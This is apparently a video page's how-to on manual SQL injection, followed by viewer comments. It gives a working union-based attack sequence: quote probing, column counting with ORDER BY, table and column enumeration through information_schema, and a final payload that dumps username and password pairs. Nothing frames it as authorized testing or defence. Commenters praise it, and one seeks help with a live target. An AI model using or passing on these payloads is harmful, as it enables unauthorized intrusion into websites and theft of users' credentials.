How to Manually SQL Inject

Steps to Manually SQL Injecting:

1. Find a vulnerable add a ' at the end of the site example: news.php?id=1 add a ' at the end of the 1 and see if you get a syntax error
2. order by 1--
3. union all select 1,2,3,4,5--
4. @@version in vulnerable column
5. union all select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()--
6. union all select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=char(x)--
7. union all select 1,2,3,4,group_concat(username,0x3a,password,0x3c62723e) from column_name--

Side note may need to add a - between like the *.php?id=-#

Category:

Howto & Style

Tags:

• Manually SQL Inject
• SQL
• Security
• Hacking
• SQLi Helper
• zarabyte
• phiberoptics

[CerealMS]

Lololooololol

[PhiberOptics]

@CerealMS Aslong as a bring a laugh or enjoyment to someone in the world then it makes my life happy :P Glad you got a laugh.

[alexturry]

Thx mate, nice tut :)

[Ksernx]

Click click click :D

[sktchysk8r]

Dude you rule this is the best tutorial evar!!

[BrookParkour]

good tut

[ElayneTrakand]

Dude you are fucking awesome. MUCH better tutorial than all the others. Cheers

[oliverxboxable]

what if the website is vunerable because it gave error when i put ' at the end and i have gone past order by 30-- or something like order by 30/* and it still hasn't give me a error? should i keep going ?

[darysmer]

Cool